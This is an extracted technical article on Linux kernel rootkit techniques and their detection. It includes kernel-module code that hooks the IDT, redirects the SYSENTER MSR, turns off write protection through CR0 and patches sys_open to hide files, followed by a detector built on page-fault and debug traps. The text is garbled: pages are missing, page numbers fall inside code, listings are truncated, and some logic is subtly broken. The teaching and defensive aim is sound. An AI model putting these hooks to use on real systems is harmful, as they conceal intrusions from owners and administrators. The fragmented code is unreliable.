Beruflich Dokumente
Kultur Dokumente
and prevention
Ivan Galinskiy
This work is published under the BSD Documentation License. For the
full text of the license, see the “License” section.
1 A brief disclaimer
This work is mostly the result of learning system internals and my level of
knowledge was obviously lower when I started writing this article than when
I finished it. Thank you in advance for your understanding!
2 Kinds of rootkits
2.1 Classification
In the classification of malware, rootkits are programs designed to hide the
fact of system intrusion by concealing processes, users, files etc. This is a
basic definition, which is true for all kinds of rootkits. But looking at real life
examples, variations appear. For example, in most cases the rootkit is not
just “standalone”, but is a part of another piece of malware which is being
hidden. A good example would be Rustock.C designed for Windows.
1
1. Modifying files on the disk. When a program has administrative rights
on the target machine, it can (almost always) do whatever it “wants”.
For instance, modifying the passwd or sudo utilities will probably get
users’ passwords. The disadvantage is obvious - it’s easy to detect.
To detect the rootkit, the user only needs to check main utilities’
checksums using a trusted operating system (either by booting with
a LiveCD or by taking the HDD mirror (in case of RAID) to another
machine).
2. Modifying only the RAM. At first sight it may seem pointless, as ev-
erything will return to normal after a reboot, but imagine what would
happen on a server with 2 years uptime. That’s why this type of rootk-
its is relatively popular.
31 16 15 14 13 12 11 10 9 8 7 6 5 4 3 2 1 0
Reserved (set to 1) B B B 0 1 1 1 1 1 1 1 1 1 B B B B
DR6
T S D 3 2 1 0
DR7, which controls the debugging behavior. Its significance for the rootkit
lies in its ability to control all types of access to the breakpoints. Obviously,
the breakpoints are not useful by themselves. When a breakpoint is reached,
2
after executing it, the processor emits a #DB exception, which is caught by
the kernel handler in normal cases. But the rootkit can change the handler in
Interrupt Descriptor Table to its own or either modifies the system handler
(in this case the IDT remains untouched).
4 Interception techniques
More methods have been created over time, but all of them are based on
modifying well-known system structures, which are not so numerous, for
example debug registers (as seen above), IDT, MSR, syscall tables etc. Some
definitions are provided below:
MSR stands for Model Specific Registers. Again, before Pentium II,
interrupts were used to make system calls. It was a simple way, but it
showed to be slow. That’s why SYSENTER/SYSCALL and SYSEXIT/SYSRET
(for Intel/AMD respectively) commands were introduced, providing a
faster way to make system calls. Now the pointer to that handler of
the call was not in IDT, but in a set of MSR registers. They store
the target instruction, stack segment pointer etc. But one of the most
important is the IA_32_SYSENTER_EIP which stores the target instruc-
tion. Changing it to something else will redirect all the system calls
into the new procedure.
3
4.1 Modifying IDT
Other ways exist, of course, but the methods provided above are the “clas-
sics” of interception and every one of them is worth a look, especially the
method of IDT modification:
Before any changes to IDT can be made, its location is required. The
assembly command SIDT can help with this task by getting the IDTR
register contents. In 32-bit systems, IDTR contains two fields: the 16-
bit limit, specifying the size of the table, and 32-bit address which is the
location of IDT. Note: the address is stored with low-order bytes first.
A function can be defined to get the register contents in easily-readable
form (file sidt.h):
1 typedef struct {
2 unsigned limit : 1 6 ;
3 unsigned base_low : 1 6 ;
4 unsigned base_high : 1 6 ;
5 } __attribute__ ( ( __packed__ ) ) dtr ;
6 // __packed__ is needed to avoid structure alignment ,
7 // otherwise it will not be suitable for use
8
9 dtr get_idtr ( void )
10 {
11 dtr idtr ;
12 memset(&idtr , 0UL , sizeof ( dtr ) ) ;
13
14 asm ( "sidt %0 \n\t"
15 : "=m" ( idtr ) ) ;
16
17 return idtr ;
18 }
4
Having the IDTR, we still need to get a particular entry in the IDT (to
store the original interrupt handler, for example). On 32-bit systems,
each entry in IDT is 8-bytes long and consists of an offset to the handler
and some attributes. However, the offset is not continuous in the entry:
the first 16 bits begin at bit 0 of the IDT entry and the last 16 are at
the end of the entry. The following code can handle this (file idt.h):
1 # include "sidt.h"
2
3 typedef struct
4 {
5 unsigned offset_low : 1 6 ;
6 unsigned not_used : 3 2 ; // We are not going to use that
7 unsigned offset_high : 1 6 ;
8 } __attribute__ ( ( __packed__ ) ) idt_entry ;
9
10 idt_entry * get_idt_entry ( dtr idtr , uint index )
11 {
12 idt_entry * entry = ( idt_entry * ) ( ( idtr . base_high << 1 6 ) +
13 idtr . base_low ) ;
14 entry += index ;
15 return entry ;
16 }
17
18 inline void * get_addr_from_entry ( idt_entry * entry )
19 {
20 return ( void ( * ) ) ( ( entry−>offset_high << 1 6 ) +
21 entry−>offset_low ) ;
22 }
23
24 inline void modify_idt_entry_addr ( idt_entry * entry , void * new_addr )
25 {
26 __asm__ ( "cli\n\t" ) ;
27 entry−>offset_high = ( uint32_t ) new_addr >> 1 6 ;
28 entry−>offset_low = ( uint32_t ) new_addr & 0 x0000ffff ;
29 __asm__ ( "sti\n\t" ) ;
30 }
31
32 inline void * get_idt_handler_addr ( uint index )
5
33 {
34 return get_addr_from_entry ( get_idt_entry ( get_idtr ( ) ,
35 index ) ) ;
36 }
6
5 void ( * new_handl_p ) ( void ) = 0 ;
6
7 void hook ( void )
8 {
9 /* Pointer to the original handler */
10 asm ( "jmp *%0" : : "m" ( old_handl_p ) ) ;
11 return ;
12 }
13
14 int init_module ( void )
15 {
16 new_handl_p = &hook ;
17
18 asm ( " rdmsr \n\t"
19 : "=a" ( old_handl_p ) /* EAX now has a pointer to the hook */
20 : "c" ( 0 x176 ) /* Number of MSR register */
21 : "%edx" ) ; /* RDMSR also changes the EDX register */
22
23 asm ( " wrmsr \n\t"
24 : /* No output */
25 : "c" ( 0 x176 ) , "d" ( 0 x0 ) , "a" ( new_handl_p ) ) ;
26
27 return 0 ;
28 }
29
30 void cleanup_module ( void )
31 {
32 asm ( " wrmsr \n\t"
33 : /* No output */
34 : "c" ( 0 x176 ) , "d" ( 0 x0 ) , "a" ( old_handl_p ) ) ;
35 }
5 Designing a rootkit
The most popular methods of intercepting system internals have been re-
viewed, but these are also comparatively easy to detect. Usually the check
7
consists of retrieving the system structures, registers etc. and comparing
them to the original ones found in an uncompressed kernel (or the System.map
file in case of addresses of special procedures). The results of such a check
can’t be trusted though. Newer rootkits prefer to modify the system handlers
themselves instead, becoming more difficult to discover. For example, below
is the method for debugging registers (it’s simpler than other), but made in
a new way.
2. The address will vary from kernel to kernel, but on a particular virtual
GNU/Linux installation (kernel 2.6.33), the address 0xc125af80 was
found. According to the System.map file, this address corresponded to
the function “debug”. This function was located (kernel 2.6.33) in the
arch/x86/kernel/entry_32.S file:
1 ENTRY ( debug )
2 RING0_INT_FRAME
3 cmpl $ ia32_sysenter_target ,(% esp )
4 jne debug_stack_correct
5 FIX_STACK 1 2 , debug_stack_correct , debug_esp_fix_insn
6 debug_stack_correct :
7 pushl $−1 # mark this as an int
8 CFI_ADJUST_CFA_OFFSET 4
9 SAVE_ALL
10 TRACE_IRQS_OFF
11 xorl %edx ,%edx # error code 0
12 movl %esp ,%eax # pt_regs pointer
13 call do_debug
14 jmp ret_from_exception
15 CFI_ENDPROC
16 END ( debug )
The “call do_debug” seems to be the call to the “real” debug handler.
Therefore, changing this call will make the interception possible. The
only requirement is the location of that instruction.
8
3. It should be good to see a part of disassembled listing of “debug”:
But a little detail appears there. As the hex code of “call” in this
case is 0xe8, it’s a “relative near” call, so first the absolute offset of
“do_debug” needs to be calculated. Just for clarity: the 4-byte value
after “0xe8 is a signed integer. The offset is added to the address of
the next instruction, in this case 0xc125afd0, and the linear address of
“do_debug” is obtained. But first, this call should be found. Accord-
ing to the objdump listing provided above, the 4-byte pattern needed
is 0xd289e0e8. Digging in the kernel is hard for a human, so another
function is provided: (file search.h). Important: when a value from
memory is obtained in order to use it as an integer, it’s inverted (be-
cause of the endianness). So if code needs to be found to find code, the
pattern should be inverted again:
9
19
20 /* Nothing found */
21 return ( void * ) 0 ;
22 }
WARNING: It’s not the best or the fastest code, but considering that it
will usually be called only once, it’s not critical
Now the function “search”, defined above, can be used to search the
pattern 0x00ff1485 (taken from the disassembly listing), and that is
how the address of sys_call_table is obtained.
1 ENTRY ( sys_call_table )
2 /* 0 - old " setup ()" system call , used for restarting */
3 . long sys_restart_syscall /* 0 */
4 . long sys_exit
5 . long ptregs_fork
10
6 . long sys_read
7 . long sys_write
8 . long sys_open /* 5 */
9 . long sys_close
10 . long sys_waitpid
11 . long sys_creat
12 . long sys_link
13 . long sys_unlink /* 10 */
14 /* Many more entries (like 300)... */
And now, that all the required information is available, the patching can
be performed. The modification of sys_open should be a good example.
First, a function to find sys_call_table and an inline function to read
a particular entry can be defined in order to simplify the operations(file
syscall.h):
11
24 void * read_sys_call_entry ( void * sys_call_table , int index )
25 {
26 void * entry_p = sys_call_table + 4 * index ;
27 uint32_t entry = * ( ( uint32_t * ) entry_p ) ;
28 return ( void * ) entry ;
29 }
When all the necessary addresses are obtained, sys_open can be “patched”.
In this case, it was easier to read the disassembled listing of sys_open
than searching through the kernel source. Also, the function is not very
big, so the complete listing is provided:
It’s small, basically a kind of wrapper. Pay attention to the “call 0xc10b0307”
(0xe8 opcode, meaning another relative offset). In the test system, this
address represented the function “do_sys_open”.
12
tained. However, the pages that contain this code are write-protected,
so an attempt to write there will cause an exception and nothing more.
But there is the WP bit in CR0 register which enables/disables write
protection, and it can be used in the following helper function (file
rw_protect.h):
The complete module code will look like this (file open_hook.c):
13
15
16 void * do_sys_open_rel_p = 0 ;
17 int32_t do_sys_open_rel = 0 ;
18
19 int32_t new_offset = 0 ;
20
21 sys_call_table = find_sys_call_table ( ) ;
22 sys_open_p = read_sys_call_entry ( sys_call_table , 5 ) ;
23
24 do_sys_open_rel_p = search ( ( uint8_t * ) sys_open_p ,
25 ( uint32_t ) 0 x89f153e8 , 6 4 ) ;
26 do_sys_open_rel = * ( ( int32_t * ) do_sys_open_rel_p ) ;
27
28 do_sys_open = ( void * ) ( ( uint32_t ) do_sys_open_rel_p + 4 +
29 do_sys_open_rel ) ;
30
31 new_offset = ( int32_t )
32 ( ( uint32_t ) hook − ( ( uint32_t ) do_sys_open_rel_p + 4 ) ) ;
33
34 rw_protection_set ( false ) ;
35
36 asm ( "mov %%eax , (%% ebx )\n\t"
37 :
38 : "a" ( new_offset ) , "b" ( do_sys_open_rel_p ) ) ;
39
40 rw_protection_set ( true ) ;
41
42 return 0 ;
43 }
44
45 void cleanup_module ( ) { }
Now this hook can be modified in such a way that it will block access
to, for example, all the filenames ending with “st”. It’s not particu-
larly useful but illustrates the concept. But as we are replacing the
do_sys_open call, we will take the do_sys_open definition in kernel
sources as a base for our hook. So the modified hook looks like this
(file open_hook_inter.c):
14
1 long hook ( int dfd , const char * filename , int flags , int mode )
2 {
3 asm ( " pusha \n\t" ) ;
4 char * p = filename ;
5 while ( * p != ' \0 ' ) p++; // Find the end of the string
6
7 if ( * ( p−1) != ' t ' && * ( p−2) != ' s ' ) // Check its ending
8 {
9 asm ( "popa\n\t" ) ;
10 asm ( "jmpl *%0\n\t"
11 : /* No output */
12 : "m" ( do_sys_open ) ) ;
13 }
14 asm ( "popa\n\t" ) ;
15 return −1; // Simulation of an error
16 }
6 Detection
Now that the basic principles are known, it’s possible to develop an applica-
tion that will detect hijacking attempts before any damage can be done to the
OS and possibly discover existing rootkits. The functions of that improvised
“IDS” will be the following:
1. At startup, read the GDTR, IDTR, SYSENTER_EIP_MSR registers.
2. Retrieve the values of debugging registers and, if a “suspicious” value
is found, do something.
3. Retrieve the #PF interrupt handler. A good technique of hiding some-
thing is by clearing the P flag of that “something”. The page will look
like it’s not present in the memory and the #PF exception will be
raised, which is then caught by the handler. The handler itself can be
malicious, permitting it to intercept.
15
4. Retrieve ia32_sysenter_target and system_call in order to com-
pare them to the version found in vmlinux.
5. Retrieve GDT. The rootkit may add descriptors with base not equal
to zero and use them in order to make the disassembly much more
complicated, but becoming more detectable.
6. Retrieve sys_call_table, all the system calls, the IDT and the inter-
rupt handlers.
7. Clear the P flag on some “attractive” system structures and set a new
handler for #PF. Why the P flag instead of debugging registers? Well,
the debugging registers can be modified very easily, that’s the reason.
It’s more complicated, of course, but gives more reliability. Here I am
going to use predefined kernel functions and macros to ensure compat-
ibility and portability.
It might be better to first make the IDT handlers’ comparison function.
But there is a little thing about finding the end of the interrupt handler,
because a disassembler engine will be needed. This time I am going to use
a disassembler engine called “hde32”, written by Vyacheslav Patkov. It’s
simple and small enough for the tasks present in this work (others disasm
engines were having too much dependencies). The usage example is provided
below (file idt_compare.h):
16
16 }
17
18 return ;
19 }
20
21 void * get_function_end ( char * beginning )
22 {
23 hde32s instr ; // Instruction structure
24 unsigned int length = 0 ;
25
26 while ( instr . opcode != 0 xC3 | | instr . opcode != 0 xCB | | // ret
27 instr . opcode != 0 xCF ) // iret
28 {
29 beginning += length ;
30 length = hde32_disasm ( beginning , &instr ) ;
31 }
32
33 return ( void * ) beginning ;
34 }
Now that the basic usage was provided, it might be better to try to solve
a more interesting problem: the “P-flag interception”. That method is all
about the modification of page table entries, and there are functions and
macros provided by the kernel, especially in the arch/x86/include/asm/pgtable.h
file: pte_set_flags and pte_clear_flags which take a pte_t argument
and the flags to set/clear and the functions to calculate the position of a
page table entry. However, these functions don’t modify the actual entries,
so there is another function: set_pte for that. In order to modify the P
flag, the position of the entry in the global dir is calculated, the same thing
is done with the upper dir and that process continues until the page table
entry is found. It may sound complicated,but it’s not, as all the macros are
defined in kernel headers. A header file containing the required functions will
be like that (file pg_flag_mod.h):
17
6 // entries . set_pte is the function that modifies the structures
7
8 inline void set_present ( pte_t * ptep )
9 {
10 rw_protection_set ( false ) ;
11 set_pte ( ptep , pte_set_flags ( * ptep , _PAGE_PRESENT ) ) ;
12 rw_protection_set ( true ) ;
13 }
14
15 inline void clear_present ( pte_t * ptep )
16 {
17 rw_protection_set ( false ) ;
18 set_pte ( ptep , pte_clear_flags ( * ptep , _PAGE_PRESENT ) ) ;
19 rw_protection_set ( true ) ;
20 }
21
22 pte_t * virt_to_pte ( unsigned int addr )
23 {
24 pgd_t pgd = __pgd ( 0 ) ;
25 pud_t * pud = 0 ;
26 pmd_t * pmd = 0 ;
27
28 pgd = __pgd ( native_read_cr3 ( ) + pgd_index ( addr ) ) ;
29 pud = pud_offset(&pgd , addr ) ;
30 pmd = pmd_offset ( pud , addr ) ;
31 return pte_offset_kernel ( pmd , addr ) ;
32 }
Of course, just altering the page table is not enough, so we will need to put
our own handler to the page fault exception. The code that puts an “empty”
handler that does nothing except invoking the original one will look like that:
(file fault_handl_emp.c):
18
8 void new_page_fault ( void )
9 {
10 __asm__ ( "jmpl *%0\n\t"
11 :
12 : "m" ( old_page_fault ) ) ;
13 }
14
15 int init_module ( )
16 {
17 old_page_fault = get_addr_from_entry ( get_idt_entry ( get_idtr ( ) , 0 x0e ) ) ;
18 modify_idt_entry_addr ( get_idt_entry ( get_idtr ( ) , 0 x0e ) , &new_page_fault ) ;
19
20 return 0 ;
21 }
22
23 void cleanup_module ( )
24 {
25 modify_idt_entry_addr ( get_idt_entry ( get_idtr ( ) , 0 x0e ) , old_page_fault ) ;
26 }
It’s still needed to know where did the #PF exception occur and who caused
it. The EIP and CS registers hold the address of the instruction where the
exception occurred, but they are stored in stack. The sequence of actions in
this case will be the following:
1. Access the values stored in the stack (but not pop them).
2. Obtain the address of the instruction that caused #PF and get that
instruction.
3. See the address that instruction was accessing to, using the CR2 register.
4. If the address is the one is observed, check the address of that instruc-
tion and see if that instruction (more exactly, the section of memory
to which that instruction belongs) is allowed to access that page.
5. If it does, set the P flag and set a breakpoint to the next instruction.
6. Catch the 0x01 (debug) exception and clear the P flag again.
And in that way it’s possible to know who accesses critical system struc-
tures and have the possibility to stop these intentions if they are not permit-
ted. This piece of code should complete the task:
19
1 # include <l i n u x / module . h>
2 # include <l i n u x / k e r n e l . h>
3 # include <l i n u x / s t r i n g . h>
4 # include <l i n u x / s l a b . h>
5 # include <asm/ u a c c e s s . h>
6 # include " hde28c / hde32 .c"
7
8 # include " pg_flag_mod .h"
9 # include "sidt.h"
10 # include "idt.h"
11 # include " addr_list .h"
12
13 // By some reasons that code existed in the headers ,
14 // but wasn ' t recognized by the linker
15 int kern_ptr_validate ( const void * ptr , unsigned long size )
16 {
17 unsigned long addr = ( unsigned long ) ptr ;
18 unsigned long min_addr = PAGE_OFFSET ;
19 unsigned long align_mask = sizeof ( void * ) − 1 ;
20
21 if ( addr < min_addr )
22 return 0 ;
23 if ( addr & align_mask )
24 return 0 ;
25 return 1 ;
26 }
27
28 // The old handlers
29 void * old_page_fault = 0 ;
30 void * old_debug = 0 ;
31
32 // The address to which the code tried to access
33 uint32_t accessed_addr = 0 ;
34
35 uint32_t old_dr0 = 0 ;
36 uint32_t old_dr7 = 0 ;
37
38 // A flag needed by the debug handler to
39 // know what is happening .
40 uint8_t protected_page_accessed = 0 ;
20
41
42 // Buffers needed for disassembly
43 hde32s instr_disasm ;
44 char instruction_buf_p [ 8 ] ;
45
46 struct addrs_list protected_addresses ;
47
48 typedef struct {
49 void * eip ;
50 uint16_t cs ;
51 } __attribute__ ( ( __packed__ ) ) stack_top ;
52
53 stack_top * page_fault_stack_top = 0 ;
54
55 void new_debug ( void )
56 {
57 if ( protected_page_accessed )
58 {
59 __asm__ ( " pusha \n\t" ) ;
60 protected_page_accessed = 0 ;
61
62 // Clear the debug status register
63 set_debugreg ( 0 , 6 ) ;
64 set_debugreg ( old_dr7 , 7 ) ;
65
66 // Now we close access to that page again
67 clear_present ( virt_to_pte ( accessed_addr ) ) ;
68
69 // Removing the breakpoint
70 set_debugreg ( old_dr0 , 0 ) ;
71 set_debugreg ( old_dr7 , 7 ) ;
72 __asm__ ( "popa\n\t"
73 "iret\n\t" ) ;
74 }
75 else
76 {
77 __asm__ ( "popa\n\t" // Restoring the registers for normal operation
78 "jmpl *%0\n\t"
79 : // No output
80 : "m" ( old_debug ) ) ;
21
81 }
82 }
83
84 void new_page_fault ( void )
85 {
86 // Here we point our structure to the stack in order to get
87 // the EIP and CS registers
88 __asm__ ( "movl %%esp , %0" : "=m" ( page_fault_stack_top ) ) ;
89
90 __asm__ ( " pusha \n\t" ) ;
91
92 // I decided to use the macros in order to not assign an additional
93 // variable for something that already exists
94 #define eip page_fault_stack_top−>eip
95 #define cs page_fault_stack_top−>cs
96
97 // Now we retrieve the linear address to which the
98 // rootkit / kernel tried to access
99 accessed_addr = native_read_cr2 ( ) ;
100
101 // And here we get the instruction itself
102 if ( cs == __USER_CS && access_ok ( VERIFY_READ , eip , 8 ) )
103 {
104 copy_from_user(&instruction_buf_p , eip , 8 ) ;
105 }
106 else if ( ( cs == __KERNEL_CS ) && kern_ptr_validate ( eip , 8 ) )
107 {
108 memcpy(&instruction_buf_p , eip , 8 ) ;
109 }
110
111 // The disassembly is performed here in order to see the
112 // command ' s length
113
114 hde32_disasm(&instruction_buf_p , &instr_disasm ) ;
115
116 // Write something here
117 if ( address_in_list(&protected_addresses , ( void * ) accessed_addr )
118 && ( ( uint32_t ) eip >> 2 4 ) <= 0 xc1 )
119 {
120 // Here we set up the debugging register
22
121 // to stop at the next instruction
122 // in order to clear the P flag again
123 // and save the previous value of DR0.
124 get_debugreg ( old_dr0 , 0 ) ;
125 get_debugreg ( old_dr7 , 7 ) ;
126
127 set_debugreg ( ( uint32_t ) eip + instr_disasm . len , 0 ) ;
128 set_debugreg ( old_dr7 & ˜ ( 3 << 1 6 ) , 7 ) ;
129
130 // Now we open access to the requested page
131 set_present ( virt_to_pte ( accessed_addr ) ) ;
132 protected_page_accessed = 1 ;
133
134 // Here we return from the exception handler ,
135 // the command executes , the breakpoint is activated ,
136 // the P flag is cleared again
137 __asm__ ( "popa\n\t"
138 "iret\n\t" ) ;
139 }
140
141 else __asm__ ( "popa\n\t" // Restoring the registers for normal operatio
142 "jmpl *%0\n\t"
143 : // No output
144 : "m" ( old_page_fault ) ) ;
145
146 // A little cleanup
147 #undef eip
148 #undef cs
149
150 }
151
152 int init_module ( )
153 {
154 protected_addresses . last = 0 ;
155 memset(&instr_disasm , 0UL , sizeof ( hde32s ) ) ;
156 memset(&instruction_buf_p , 0UL , 8 ) ;
157
158 old_page_fault = get_addr_from_entry ( get_idt_entry ( get_idtr ( ) , 0 x0e ) ) ;
159 old_debug = get_addr_from_entry ( get_idt_entry ( get_idtr ( ) , 0 x01 ) ) ;
160
23
161 // Setting the new handler
162 modify_idt_entry_addr ( get_idt_entry ( get_idtr ( ) , 0 x0e ) , &new_page_fault ) ;
163 modify_idt_entry_addr ( get_idt_entry ( get_idtr ( ) , 0 x01 ) , &new_debug ) ;
164
165 // Here we ' ll clear the P flag on some pages
166 // add_address (& protected_addresses , (void *)0 xc10f4640 );
167 // clear_present ( virt_to_pte (0 xc10f4640 ));
168
169 return 0 ;
170 }
171
172 void cleanup_module ( )
173 {
174 // Here we ' ll set the P flag on some pages
175 // TODO
176 set_present ( virt_to_pte ( 0 xc10f4640 ) ) ;
177 modify_idt_entry_addr ( get_idt_entry ( get_idtr ( ) , 0 x0e ) , old_page_fault ) ;
178 modify_idt_entry_addr ( get_idt_entry ( get_idtr ( ) , 0 x01 ) , old_debug ) ;
179 }
However, this method would be useless if the original #PF handler was mod-
ified. Thankfully, it’s impossible to set the P flag in the page fault handler
(it would be a recursive page fault then), that’s why it is safe to retrieve the
handler directly. Here is the function that retrieves IDT handlers’ bodies
(file get_idt_handl.h):
24
15 {
16 get_function_body ( buffer , get_idt_handler_addr ( index ) ) ;
17 }
OK, here I stop. Other items from the list were either done previously in the
work or are very similar to the ones already described.
7 A brief conclusion
I described the techniques usually deployed by the rootkits in order to re-
main undetected, yet many more remain. There are still some things left
undescribed , and hopefully I will add them in the future. However, in-
spired by my work, I decided to write a rootkit detector, called kmrd (kernel
mode rootkit detector). Once I make a working version, the website will be
published here.
1. lxr.linux.no
2. wiki.osdev.org
3. www.phrack.com
9 License
Redistribution and use in source (LaTeX format) and ’compiled’ forms (PDF,
PostScript, HTML, RTF, etc), with or without modification, are permitted
provided that the following conditions are met:
25
1. Redistributions of source code (LaTeX format) must retain the above
copyright notice, this list of conditions and the following disclaimer.
3. The name of the author may not be used to endorse or promote prod-
ucts derived from this documentation without specific prior written
permission.
26